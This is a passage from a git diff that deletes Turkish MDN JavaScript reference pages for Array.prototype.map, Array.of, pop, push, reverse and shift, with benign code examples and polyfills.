fonksiyonunun sonuçları olan yeni bir dizi.</p> - -<h2 id="Açıklama">Açıklama</h2> - -<p><code>map</code>, kendisine özel tahsis edilmiş geri çağırma (<code>callback</code>) fonksiyonunu çağırarak, sıraya uygun olarak <strong>döngüye </strong><strong>giren</strong><strong> her </strong><strong>eleman</strong> için sonuçtan yeni bir dizi(array) inşa eder. <code>callback</code> sadece değere tanımlanmış dizinin indeksleri için tetiklenir, <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined">undefined</a> de buna dahildir. Dizinin kayıp elemanları için çağrılmaz ( <strong>kayıp </strong><strong>elemanlar</strong>: silinmiş veya hiçbir değere eşitlenmemiş veya oluşmamış indeksleri ifade eder. )</p> - -<p><code>callback</code> şu üç argüman ile tetiklenir; Elemanın değeri, elemanın indeks numarası ve elemanları gezilecek olan dizi objesi...</p> - -<pre class="syntaxbox">dizi.map( (deger, index) => /* yapılacak işlem */ ) </pre> - -<p>If a <code>thisArg</code> parameter is provided to <code>map</code>, it will be used as callback's <code>this</code> value. Otherwise, the value {{jsxref("undefined")}} will be used as its <code>this</code> value. The <code>this</code> value ultimately observable by <code>callback</code> is determined according to <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">the usual rules for determining the <code>this</code> seen by a function</a>.</p> - -<p><code>map</code> does not mutate the array on which it is called (although <code>callback</code>, if invoked, may do so).</p> - -<p>The range of elements processed by <code>map</code> is set before the first invocation of <code>callback</code>. Elements which are appended to the array after the call to <code>map</code> begins will not be visited by <code>callback</code>. If existing elements of the array are changed, their value as passed to <code>callback</code> will be the value at the time <code>map</code> visits them. Elements that are deleted after the call to <code>map</code> begins and before being visited are not visited.<br> - <br> - Due to the algorithm defined in the specification if the array which map was called upon is sparse, resulting array will also be sparse keeping same indices blank.</p> - -<h2 id="Examples">Examples</h2> - -<h3 id="Mapping_an_array_of_numbers_to_an_array_of_square_roots">Mapping an array of numbers to an array of square roots</h3> - -<p>The following code takes an array of numbers and creates a new array containing the square roots of the numbers in the first array.</p> - -<pre class="brush: js">var numbers = [1, 4, 9]; -var roots = numbers.map(Math.sqrt); -// roots is now [1, 2, 3] -// numbers is still [1, 4, 9] -</pre> - -<h3 id="Using_map_to_reformat_objects_in_an_array">Using map to reformat objects in an array</h3> - -<p>The following code takes an array of objects and creates a new array containing the newly reformatted objects.</p> - -<pre class="brush: js">var kvArray = [{key: 1, value: 10}, - {key: 2, value: 20}, - {key: 3, value: 30}]; - -var reformattedArray = kvArray.map(obj =>{ - var rObj = {}; - rObj[obj.key] = obj.value; - return rObj; -}) -// reformattedArray is now [{1: 10}, {2: 20}, {3: 30}], - -// kvArray is still: -// [{key: 1, value: 10}, -// {key: 2, value: 20}, -// {key: 3, value: 30}] -</pre> - -<h3 id="Mapping_an_array_of_numbers_using_a_function_containing_an_argument">Mapping an array of numbers using a function containing an argument</h3> - -<p>The following code shows how map works when a function requiring one argument is used with it. The argument will automatically be assigned from each element of the array as map loops through the original array.</p> - -<pre class="brush: js">var numbers = [1, 4, 9]; -var doubles = numbers.map(function(num) { - return num * 2; -}); - -// doubles is now [2, 8, 18] -// numbers is still [1, 4, 9] -</pre> - -<h3 id="Using_map_generically">Using <code>map</code> generically</h3> - -<p>This example shows how to use map on a {{jsxref("String")}} to get an array of bytes in the ASCII encoding representing the character values:</p> - -<pre class="brush: js">var map = Array.prototype.map; -var a = map.call('Hello World', function(x) { - return x.charCodeAt(0); -}); -// a now equals [72, 101, 108, 108, 111, 32, 87, 111, 114, 108, 100] -</pre> - -<h3 id="Using_map_generically_querySelectorAll">Using <code>map</code> generically <code>querySelectorAll</code></h3> - -<p>This example shows how to iterate through a collection of objects collected by <code>querySelectorAll</code>. In this case we get all selected options on the screen and printed on the console:</p> - -<pre class="brush: js">var elems = document.querySelectorAll('select option:checked'); -var values = Array.prototype.map.call(elems, function(obj) { - return obj.value; -}); -</pre> - -<p>Easier way would be using {{jsxref("Array.from()")}} method.</p> - -<h3 id="Tricky_use_case">Tricky use case</h3> - -<p><a href="http://www.wirfs-brock.com/allen/posts/166">(inspired by this blog post)</a></p> - -<p>It is common to use the callback with one argument (the element being traversed). Certain functions are also commonly used with one argument, even though they take additional optional arguments. These habits may lead to confusing behaviors.</p> - -<pre class="brush: js">// Consider: -['1', '2', '3'].map(parseInt); -// While one could expect [1, 2, 3] -// The actual result is [1, NaN, NaN] - -// parseInt is often used with one argument, but takes two. -// The first is an expression and the second is the radix. -// To the callback function, Array.prototype.map passes 3 arguments: -// the element, the index, the array -// The third argument is ignored by parseInt, but not the second one, -// hence the possible confusion. See the blog post for more details - -function returnInt(element) { - return parseInt(element, 10); -} - -['1', '2', '3'].map(returnInt); // [1, 2, 3] -// Actual result is an array of numbers (as expected) - -// Same as above, but using the concise arrow function syntax -['1', '2', '3'].map( str => parseInt(str) ); - -// A simpler way to achieve the above, while avoiding the "gotcha": -['1', '2', '3'].map(Number); // [1, 2, 3] -// but unlike `parseInt` will also return a float or (resolved) exponential notation: -['1.1', '2.2e2', '3e300'].map(Number); // [1.1, 220, 3e+300] -</pre> - -<p>One alternative output of the map method being called with parseInt as a parameter runs as follows:</p> - -<pre class="brush: js">var xs = ['10', '10', '10']; - -xs = xs.map(parseInt); - -console.log(xs); -// Actual result of 10,NaN,2 may be unexpected based on the above description.</pre> - -<h2 id="Polyfill">Polyfill</h2> - -<p><code>map</code> was added to the ECMA-262 standard in the 5th edition; as such it may not be present in all implementations of the standard. You can work around this by inserting the following code at the beginning of your scripts, allowing use of <code>map</code> in implementations which do not natively support it. This algorithm is exactly the one specified in ECMA-262, 5th edition, assuming {{jsxref("Object")}}, {{jsxref("TypeError")}}, and {{jsxref("Array")}} have their original values and that <code>callback.call</code> evaluates to the original value of <code>{{jsxref("Function.prototype.call")}}</code>.</p> - -<pre class="brush: js">// Production steps of ECMA-262, Edition 5, 15.4.4.19 -// Reference: http://es5.github.io/#x15.4.4.19 -if (!Array.prototype.map) { - - Array.prototype.map = function(callback/*, thisArg*/) { - - var T, A, k; - - if (this == null) { - throw new TypeError('this is null or not defined'); - } - - // 1. Let O be the result of calling ToObject passing the |this| - // value as the argument. - var O = Object(this); - - // 2. Let lenValue be the result of calling the Get internal - // method of O with the argument "length". - // 3. Let len be ToUint32(lenValue). - var len = O.length >>> 0; - - // 4. If IsCallable(callback) is false, throw a TypeError exception. - // See: http://es5.github.com/#x9.11 - if (typeof callback !== 'function') { - throw new TypeError(callback + ' is not a function'); - } - - // 5. If thisArg was supplied, let T be thisArg; else let T be undefined. - if (arguments.length > 1) { - T = arguments[1]; - } - - // 6. Let A be a new array created as if by the expression new Array(len) - // where Array is the standard built-in constructor with that name and - // len is the value of len. - A = new Array(len); - - // 7. Let k be 0 - k = 0; - - // 8. Repeat, while k < len - while (k < len) { - - var kValue, mappedValue; - - // a. Let Pk be ToString(k). - // This is implicit for LHS operands of the in operator - // b. Let kPresent be the result of calling the HasProperty internal - // method of O with argument Pk. - // This step can be combined with c - // c. If kPresent is true, then - if (k in O) { - - // i. Let kValue be the result of calling the Get internal - // method of O with argument Pk. - kValue = O[k]; - - // ii. Let mappedValue be the result of calling the Call internal - // method of callback with T as the this value and argument - // list containing kValue, k, and O. - mappedValue = callback.call(T, kValue, k, O); - - // iii. Call the DefineOwnProperty internal method of A with arguments - // Pk, Property Descriptor - // { Value: mappedValue, - // Writable: true, - // Enumerable: true, - // Configurable: true }, - // and false. - - // In browsers that support Object.defineProperty, use the following: - // Object.defineProperty(A, k, { - // value: mappedValue, - // writable: true, - // enumerable: true, - // configurable: true - // }); - - // For best browser support, use the following: - A[k] = mappedValue; - } - // d. Increase k by 1. - k++; - } - - // 9. return A - return A; - }; -} -</pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('ES5.1', '#sec-15.4.4.19', 'Array.prototype.map')}}</td> - <td>{{Spec2('ES5.1')}}</td> - <td>Initial definition. Implemented in JavaScript 1.6.</td> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-array.prototype.map', 'Array.prototype.map')}}</td> - <td>{{Spec2('ES6')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-array.prototype.map', 'Array.prototype.map')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<div> - - -<p>{{Compat("javascript.builtins.Array.map")}}</p> -</div> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{jsxref("Array.prototype.forEach()")}}</li> - <li>{{jsxref("Map")}} object</li> - <li>{{jsxref("Array.from()")}}</li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/array/of/index.html b/files/tr/web/javascript/reference/global_objects/array/of/index.html deleted file mode 100644 index 07bd40a430..0000000000 --- a/files/tr/web/javascript/reference/global_objects/array/of/index.html +++ /dev/null @@ -1,98 +0,0 @@ ---- -title: Array.of() -slug: Web/JavaScript/Reference/Global_Objects/Array/of -tags: - - Dizi - - ECMAScript 2015 - - JavaScript - - metod - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/Array/of ---- -<div>{{JSRef}}</div> - -<p><code><strong>Array.of()</strong></code> metodu, verilen argümanları içeren yeni bir dizi (<code>Array</code>) oluşturur. Argüman sayısı ve tipi konusunda herhangi bir kısıtı yoktur.</p> - -<p><code><strong>Array.of()</strong></code> ile <code><strong>Array</strong></code> yapıcı (constructor) arasındaki fark, sayısal argümanları kullanma biçimidir: <code><strong>Array.of(7)</strong></code> tek öğesi <code>7</code> olan bir dizi oluştururken, <code><strong>Array(7)</strong></code>, 7 öğe kapasiteli -<code>length</code> özelliği 7 olan- boş bir dizi oluşturur (<strong>Not:</strong> Bu ifade 7 boş yeri olan bir dizi oluştur, kapasitesi kadar tanımsız öğe içeren bir dizi değil).</p> - -<pre class="brush: js">Array.of(7); // [7] -Array.of(1, 2, 3); // [1, 2, 3] - -Array(7); // [ , , , , , , ] -Array(1, 2, 3); // [1, 2, 3] -</pre> - -<h2 id="Sözdizimi">Sözdizimi</h2> - -<pre class="syntaxbox">Array.of(<var>element0</var>[, <var>element1</var>[, ...[, <var>elementN</var>]]])</pre> - -<h3 id="Parametreler">Parametreler</h3> - -<dl> - <dt><code>element<em>N</em></code></dt> - <dd>Diziyi oluşturacak öğeler.</dd> -</dl> - -<h3 id="Dönüş_değeri">Dönüş değeri</h3> - -<p>Yeni bir {{jsxref("Array")}} örneği.</p> - -<h2 id="Açıklama">Açıklama</h2> - -<p>Bu fonksiyon ECMAScript 2015 standardının bir parçasıdır. Daha fazla bilgi için <a href="https://gist.github.com/rwaldron/1074126"><code>Array.of</code> ve <code>Array.from</code> proposal</a> ve <a href="https://gist.github.com/rwaldron/3186576"><code>Array.of</code> polyfill</a> linklerine bakabilirsiniz.</p> - -<h2 id="Örnekler">Örnekler</h2> - -<pre class="brush: js">Array.of(1); // [1] -Array.of(1, 2, 3); // [1, 2, 3] -Array.of(undefined); // [undefined] -</pre> - -<h2 id="Polyfill">Polyfill</h2> - -<p>Eğer <code>Array.of()</code> doğal olarak mevcut değilse, aşağıdaki kodu diğer kodlardan önce çalıştırarak oluşturabilirsiniz.</p> - -<pre class="brush: js">if (!Array.of) { - Array.of = function() { - return Array.prototype.slice.call(arguments); - }; -} -</pre> - -<h2 id="Şartnameler">Şartnameler</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Şartname</th> - <th scope="col">Durum</th> - <th scope="col">Yorum</th> - </tr> - <tr> - <td>{{SpecName('ES2015', '#sec-array.of', 'Array.of')}}</td> - <td>{{Spec2('ES2015')}}</td> - <td>İlk tanım.</td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-array.of', 'Array.of')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_Uyumu">Tarayıcı Uyumu</h2> - -<div> -<div class="hidden">Bu sayfadaki uyumluluk tablosu, yapılandırılmış veriden oluşturulmuştur. Eğer katkıda bulunmak istiyorsanız, <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> adresini inceleyip bize çekme talebi gönderin.</div> - -<p>{{Compat("javascript.builtins.Array.of")}}</p> -</div> - -<h2 id="Ayrıca_bakınız">Ayrıca bakınız</h2> - -<ul> - <li>{{jsxref("Array")}}</li> - <li>{{jsxref("Array.from()")}}</li> - <li>{{jsxref("TypedArray.of()")}}</li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/array/pop/index.html b/files/tr/web/javascript/reference/global_objects/array/pop/index.html deleted file mode 100644 index 649cb88921..0000000000 --- a/files/tr/web/javascript/reference/global_objects/array/pop/index.html +++ /dev/null @@ -1,117 +0,0 @@ ---- -title: Array.prototype.pop() -slug: Web/JavaScript/Reference/Global_Objects/Array/pop -translation_of: Web/JavaScript/Reference/Global_Objects/Array/pop ---- -<div>{{JSRef}}</div> - -<p><code><strong>pop()</strong></code> yöntemi, bir dizideki <strong>son</strong> öğeyi kaldırır ve o öğeyi döndürür. Bu yöntem dizinin uzunluğunu değiştirir.</p> - - - -<div>{{EmbedInteractiveExample("pages/js/array-pop.html")}}</div> - - - -<h2 id="Syntax">Syntax</h2> - -<pre class="syntaxbox"><var>arr</var>.pop()</pre> - -<h3 id="Return_value">Return value</h3> - -<p>The removed element from the array; {{jsxref("undefined")}} if the array is empty.</p> - -<h2 id="Description">Description</h2> - -<p>The <code>pop</code> method removes the last element from an array and returns that value to the caller.</p> - -<p><code>pop</code> is intentionally generic; this method can be {{jsxref("Function.call", "called", "", 1)}} or {{jsxref("Function.apply", "applied", "", 1)}} to objects resembling arrays. Objects which do not contain a <code>length</code> property reflecting the last in a series of consecutive, zero-based numerical properties may not behave in any meaningful manner.</p> - -<p>If you call <code>pop()</code> on an empty array, it returns {{jsxref("undefined")}}.</p> - -<p>{{jsxref("Array.prototype.shift()")}} has similar behavior to <code>pop</code>, but applied to the first element in an array.</p> - -<h2 id="Examples">Examples</h2> - -<h3 id="Removing_the_last_element_of_an_array">Removing the last element of an array</h3> - -<p>The following code creates the <code>myFish</code> array containing four elements, then removes its last element.</p> - -<pre class="brush: js">var myFish = ['angel', 'clown', 'mandarin', 'sturgeon']; - -var popped = myFish.pop(); - -console.log(myFish); // ['angel', 'clown', 'mandarin' ] - -console.log(popped); // 'sturgeon'</pre> - - - -<h3 id="Using_apply_or_call_on_array-like_objects">Using apply( ) or call ( ) on array-like objects</h3> - -<p>The following code creates the <code>myFish</code> array-like object containing four elements and a length parameter, then removes its last element and decrements the length parameter.</p> - -<pre class="brush: js">var myFish = {0:'angel', 1:'clown', 2:'mandarin', 3:'sturgeon', length: 4}; - -var popped = Array.prototype.pop.call(myFish); //same syntax for using apply( ) - -console.log(myFish); // {0:'angel', 1:'clown', 2:'mandarin', length: 3} - -console.log(popped); // 'sturgeon' -</pre> - - - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('ES3')}}</td> - <td>{{Spec2('ES3')}}</td> - <td>Initial definition. Implemented in JavaScript 1.2.</td> - </tr> - <tr> - <td>{{SpecName('ES5.1', '#sec-15.4.4.6', 'Array.prototype.pop')}}</td> - <td>{{Spec2('ES5.1')}}</td> - <td></td> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-array.prototype.pop', 'Array.prototype.pop')}}</td> - <td>{{Spec2('ES6')}}</td> - <td></td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-array.prototype.pop', 'Array.prototype.pop')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td></td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<div> - - -<p>{{Compat("javascript.builtins.Array.pop")}}</p> -</div> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{jsxref("Array.prototype.push()")}}</li> - <li>{{jsxref("Array.prototype.shift()")}}</li> - <li>{{jsxref("Array.prototype.unshift()")}}</li> - <li>{{jsxref("Array.prototype.concat()")}}</li> - <li>{{jsxref("Array.prototype.splice()")}}</li> -</ul> - -<div id="gtx-trans" style="position: absolute; left: 79px; top: 355px;"> -<div class="gtx-trans-icon"></div> -</div> diff --git a/files/tr/web/javascript/reference/global_objects/array/push/index.html b/files/tr/web/javascript/reference/global_objects/array/push/index.html deleted file mode 100644 index a5cd57980b..0000000000 --- a/files/tr/web/javascript/reference/global_objects/array/push/index.html +++ /dev/null @@ -1,152 +0,0 @@ ---- -title: Array.prototype.push() -slug: Web/JavaScript/Reference/Global_Objects/Array/push -tags: - - Dizi - - JavaScript - - Metot - - Prototype - - Referans -translation_of: Web/JavaScript/Reference/Global_Objects/Array/push ---- -<div>{{JSRef}}</div> - -<p><code><strong>push()</strong></code> metotu dizinin sonuna bir yada daha fazla element ekler ve dizinin yeni uzunluğunu geri döndürür.</p> - -<h2 id="Söz_dizimi">Söz dizimi</h2> - -<pre class="syntaxbox"><code><var>arr</var>.push(<var>element1</var>, ..., <var>elementN</var>)</code></pre> - -<h3 id="Parametreler">Parametreler</h3> - -<dl> - <dt><code>element<em>N</em></code></dt> - <dd>Dizinin sonuna eklenecek elementler.</dd> -</dl> - -<h3 id="Geri_döndürür">Geri döndürür</h3> - -<p>Nesnenin yeni {{jsxref("Array.length", "length")}} özelliğini metotun çağrılması üzerine geri döndürür.</p> - -<h2 id="Tanım">Tanım</h2> - -<p><code>push</code> metotu değerleri bir diziye ekler.</p> - -<p><code>push</code> kasıtlı olarak genelleyicidir. Bu metot benzeyen nesnelerin dizilerinde {{jsxref("Function.call", "call()")}} veya {{jsxref("Function.apply", "apply()")}} ile kullanılabilir. <code>push</code> metotu verilen değerleri eklemeye nereden başlayacağını tespit etmek için <code>length</code> özelliğine dayanır. Eğer <code>length</code> özelliği bir sayıya dönüştürülemezse indeks 0 kabul edilir. Bu durum <code>length</code> özelliğinin bulunmama ihtimalini de kapsar, bu durumda <code>length</code> ayrıca oluşturulacaktır.</p> - -<p>Sadece yerel dizi benzeri nesneler {{jsxref("Global_Objects/String", "strings", "", 1)}} olduğu halde stringlerin değişmez olduğu gibi bu metotun uygulamalarına uygun değildirler.</p> - -<h2 id="Örnekler">Örnekler</h2> - -<h3 id="Bir_diziye_element_ekleme">Bir diziye element ekleme</h3> - -<p>Aşağıda bulunan kod iki elementi bulunan <code>sports</code> dizisini oluşturuyor, daha sonra iki diziye iki element daha ekliyor. <code>total</code> değişkeni dizinin yeni uzunluğunu tutuyor.</p> - -<pre class="brush: js">var sports = ['soccer', 'baseball']; -var total = sports.push('football', 'swimming'); - -console.log(sports); // ['soccer', 'baseball', 'football', 'swimming'] -console.log(total); // 4 -</pre> - -<h3 id="İki_diziyi_birleştirme">İki diziyi birleştirme</h3> - -<p>Bu örnek ikinci bir diziden bütün elemanları eklemek için {{jsxref("Function.apply", "apply()")}} kullanıyor.</p> - -<pre class="brush: js">var vegetables = ['parsnip', 'potato']; -var moreVegs = ['celery', 'beetroot']; - -// İkinci diziyi birinciyle birleştir -// Şuna eşdeğer, vegetables.push('celery', 'beetroot'); -Array.prototype.push.apply(vegetables, moreVegs); - -console.log(vegetables); // ['parsnip', 'potato', 'celery', 'beetroot'] -</pre> - -<h2 id="Şartnameler">Şartnameler</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Şartname</th> - <th scope="col">Durum</th> - <th scope="col">Yorum</th> - </tr> - <tr> - <td>{{SpecName('ES3')}}</td> - <td>{{Spec2('ES3')}}</td> - <td>İlk tanım. JavaScript 1.2'de uygulandı.</td> - </tr> - <tr> - <td>{{SpecName('ES5.1', '#sec-15.4.4.7', 'Array.prototype.push')}}</td> - <td>{{Spec2('ES5.1')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-array.prototype.push', 'Array.prototype.push')}}</td> - <td>{{Spec2('ES6')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_uyumu">Tarayıcı uyumu</h2> - -<div>{{CompatibilityTable}}</div> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Özellik</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basit destek</td> - <td>{{CompatChrome("1.0")}}</td> - <td>{{CompatGeckoDesktop("1.7")}}</td> - <td>{{CompatIE("5.5")}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Özellik</th> - <th>Android</th> - <th>Android için Chrome</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basit destek</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="Ayrıca_göz_at">Ayrıca göz at</h2> - -<ul> - <li>{{jsxref("Array.prototype.pop()")}}</li> - <li>{{jsxref("Array.prototype.shift()")}}</li> - <li>{{jsxref("Array.prototype.unshift()")}}</li> - <li>{{jsxref("Array.prototype.concat()")}}</li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/array/reverse/index.html b/files/tr/web/javascript/reference/global_objects/array/reverse/index.html deleted file mode 100644 index d9bdb98b76..0000000000 --- a/files/tr/web/javascript/reference/global_objects/array/reverse/index.html +++ /dev/null @@ -1,107 +0,0 @@ ---- -title: Array.prototype.reverse() -slug: Web/JavaScript/Reference/Global_Objects/Array/reverse -tags: - - JavaScript - - dizi ters çevirme - - fonksiyon -translation_of: Web/JavaScript/Reference/Global_Objects/Array/reverse ---- -<div>{{JSRef}}</div> - -<p><code><strong>reverse()</strong></code> metodu dizi elemanlarını tersten sıralar . Dizinin ilk elemanı son eleman olur, son elemanı ilk eleman olur.</p> - -<div>{{EmbedInteractiveExample("pages/js/array-reverse.html")}}</div> - - - -<h2 id="Syntax">Syntax</h2> - -<pre class="syntaxbox"><var>a</var>.reverse()</pre> - -<h3 id="Dönen_Değer">Dönen Değer</h3> - -<p>Ters dizi.</p> - -<h2 id="Açıklama">Açıklama</h2> - -<p><code>reverse</code> metodu dizinin olduğu halini kalıcı olarak değiştirir ve değiştirilmiş diziyi döndürür.</p> - -<p><code>reverse</code> bilinçli olarak generic metodtur; bu şekilde dizilere benzeyen nesneler <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/call">çağrılabilir </a>veya <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply">uygulanabilir</a>. Bir dizi ardışık, sıfır tabanlı sayısal özellikte sonuncuyu yansıtan <code>length </code>özelliği içermeyen nesneler anlamlı bir şekilde davranmayabilir.</p> - -<h2 id="Örnekler">Örnekler</h2> - -<h3 id="Bir_dizideki_öğeleri_tersine_çevirme">Bir dizideki öğeleri tersine çevirme</h3> - -<p>Aşağıdaki örnek, üç öğe içeren bir <code>a </code>dizisi oluşturur, ardından diziyi tersine çevirir. <code>reverse()</code> çağrısı, ters çevrilmiş <code>a </code>dizisine bir referans döndürür.</p> - -<pre class="brush: js">const a = [1, 2, 3]; - -console.log(a); // [1, 2, 3] - -a.reverse(); - -console.log(a); // [3, 2, 1] - -</pre> - -<h3 id="Dizi_benzeri_bir_nesnedeki_öğeleri_tersine_çevirme">Dizi benzeri bir nesnedeki öğeleri tersine çevirme</h3> - -<p>Aşağıdaki örnek, üç öğe ve length özelliği içeren dizi benzeri bir nesne <code>a </code>oluşturur, sonra dizi benzeri nesneyi tersine çevirir. <code>reverse ()</code> çağrısı, ters dizi benzeri nesneye <code>a </code>bir referans döndürür.</p> - -<pre class="brush: js">const a = {0: 1, 1: 2, 2: 3, length: 3}; - -console.log(a); // {0: 1, 1: 2, 2: 3, length: 3} - -Array.prototype.reverse.call(a); //same syntax for using apply() - -console.log(a); // {0: 3, 1: 2, 2: 1, length: 3} -</pre> - -<h2 id="Özellikler">Özellikler</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Özellik</th> - <th scope="col">Durum</th> - <th scope="col">Yorum</th> - </tr> - <tr> - <td>{{SpecName('ES1')}}</td> - <td>{{Spec2('ES1')}}</td> - <td>Initial definition. Implemented in JavaScript 1.1.</td> - </tr> - <tr> - <td>{{SpecName('ES5.1', '#sec-15.4.4.8', 'Array.prototype.reverse')}}</td> - <td>{{Spec2('ES5.1')}}</td> - <td></td> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-array.prototype.reverse', 'Array.prototype.reverse')}}</td> - <td>{{Spec2('ES6')}}</td> - <td></td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-array.prototype.reverse', 'Array.prototype.reverse')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td></td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> - -<div> - - -<p>{{Compat("javascript.builtins.Array.reverse")}}</p> -</div> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{jsxref("Array.prototype.join()")}}</li> - <li>{{jsxref("Array.prototype.sort()")}}</li> - <li>{{jsxref("TypedArray.prototype.reverse()")}}</li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/array/shift/index.html b/files/tr/web/javascript/reference/global_objects/array/shift/index.html deleted file mode 100644 index 3a85e72ca7..0000000000 --- a/files/tr/web/javascript/reference/global_objects/array/shift/index.html +++ /dev/null @@ -1,112 +0,0 @@ ---- -title: Array.prototype.shift() -slug: Web/JavaScript/Reference/Global_Objects/Array/shift -tags: - - Dizi - - JavaScript - - Prototype - - metod -translation_of: Web/JavaScript/Reference/Global_Objects/Array/shift ---- -<div>{{JSRef}}</div> - -<p><code><strong>shift()</strong></code> metodu bir dizinin <strong>ilk </strong>elementini diziden kaldırır ve kaldırılmış bu elementi geri döndürür. Bu metod dizinin boyunu değiştirir.</p> - -<div>{{EmbedInteractiveExample("pages/js/array-shift.html")}}</div> - -<p class="hidden">Bu wtkileşimli örneğin kaynağı bir GitHub deposunda saklanmaktadır.Eğer bu etkileşimli örnekler projesine katkıda bulunmak isterseniz, lütfen <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> klonlayın ve bize bir "pull request" (çekme talebi) gönderin.</p> - -<h2 id="Dildizimi">Dildizimi</h2> - -<pre class="syntaxbox"><var>arr</var>.shift()</pre> - -<h3 id="Dönen_değer">Dönen değer</h3> - -<p>Diziden kaldırılan element; eğer dizi boş ise de {{jsxref("undefined")}} değerini döndürür.</p> - -<h2 id="Tanımlama">Tanımlama</h2> - -<p><code>shift</code> metodu sıfırıncı indeksteki elementi kaldırır ve ardışık indeksleri aşağı düşürür, daha sonra kaldırılan değeri geri döndürür. Eğer metod uygulandığında {{jsxref("Array.length", "length")}} değeri 0 ise, {{jsxref("undefined")}} geri döndürür.</p> - -<p><code>shift</code> özellikle geniş kapsamlıdır; bu metod {{jsxref("Function.call", "called", "", 1)}} veya {{jsxref("Function.apply", "applied", "", 1)}} dizilere benzeyen nesnelere de uygulanabilir. Ardışık bir serinin sonuncusu özelliği olan, sıfır-temelli, sayısal özellikleri olan ancak <code>length</code> özelliği bulundurmayan nesneler, anlamli bir davranış göstermeyebilirler.</p> - -<h2 id="Örnekler">Örnekler</h2> - -<h3 id="Bir_diziden_bir_elementi_kaldırmak">Bir diziden bir elementi kaldırmak</h3> - -<p>Aşağıdaki kod <code>myFish</code> dizisinin ilk elementini kaldırmadan önceki ve kaldırdıktan sonraki halini göstermektedir. Aynı zamanda kaldırılan elementi de gösterir:</p> - -<pre class="brush: js">var myFish = ['angel', 'clown', 'mandarin', 'surgeon']; - -console.log('myFish öncesinde:', JSON.stringify(myFish)); -// myFish öncesinde: ['angel', 'clown', 'mandarin', 'surgeon'] - -var shifted = myFish.shift(); - -console.log('myFish sonrasında:', myFish); -// myFish sonrasında: ['clown', 'mandarin', 'surgeon'] - -console.log('Bu element kaldırıldı:', shifted); -// Bu element kaldırıldı: angel -</pre> - -<h3 id="shift()_metodunu_while_döngüsü_içerisinde_kullanmak">shift() metodunu while döngüsü içerisinde kullanmak</h3> - -<p>shift metodu sıklıkla while döngüsü içerisindeki şartlarda kullanılır . Takip eden örnekte her döngü dizi boşalana kadar bir sonraki elementi diziden kaldıracaktır:</p> - -<pre class="brush: js">var isimler = ["Andrew", "Edward", "Paul", "Chris" ,"John"]; - -while( (i = isimler.shift()) !== undefined ) { - console.log(i); -} -// Andrew, Edward, Paul, Chris, John -</pre> - -<h2 id="Özellikler">Özellikler</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Özellik</th> - <th scope="col">Durum</th> - <th scope="col">Açıklama</th> - </tr> - <tr> - <td>{{SpecName('ES3')}}</td> - <td>{{Spec2('ES3')}}</td> - <td>İlk tanımlama. JavaScript 1.2. de uygulandı.</td> - </tr> - <tr> - <td>{{SpecName('ES5.1', '#sec-15.4.4.9', 'Array.prototype.shift')}}</td> - <td>{{Spec2('ES5.1')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-array.prototype.shift', 'Array.prototype.shift')}}</td> - 